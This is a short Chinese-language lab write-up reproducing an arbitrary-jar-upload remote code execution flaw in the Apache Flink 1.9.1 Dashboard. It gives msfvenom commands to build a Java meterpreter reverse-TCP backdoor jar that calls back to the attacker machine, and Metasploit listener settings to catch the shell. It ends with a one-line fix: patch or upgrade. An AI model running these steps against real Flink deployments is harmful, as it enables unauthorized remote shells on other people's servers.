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Apache Flink是近几年大火的数据处理引擎。受到各大厂商的推崇并且已经应用与实际的业务场景中。很多公司在进行选型的时候都会选择Apache Flink作为选型的对象。
Apache Flink能用来做什么？
实时推荐系统
实时报表
实时数仓与ETL
复杂事件处理
实时欺诈与实时信用评估
大数据安全监测
Flink核心是一个流式的数据流执行引擎，其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎，Flink提供了诸多更高抽象层的API以便用户编写分布式任务。
攻击者可直接在Apache Flink Dashboard页面中上传任意jar包，从而达到远程代码执行的目的
至目前Apache Flink 1.9.1版本
攻击机kali:192.168.10.147
受害机Ubuntu:192.168.10.176
测试环境：Flink 1.9.1 java8+
Apache Flink 1.9.1安装包下载：
https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
下载完成后使用解压
tar zxvf flink-1.9.1-bin-scala_2.11.tgz
进入bin目录运行./start-cluster.sh启动环境
环境搭建成功 目标站点 http://192.168.10.176:8081
使用kali生成jar后门包
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.10.147 LPORT=2020 -f jar > shell.jar
攻击机访问目标站点 并上传shell.jar
使用kali配置监听
use exploit/multi/handler
set payload java/shell/reverse_tcp
set RHOST 192.168.10.147
set LPORT 2020
run
点开刚刚上传的shell.jar，触发漏洞
更新官网补丁或更新最新版本
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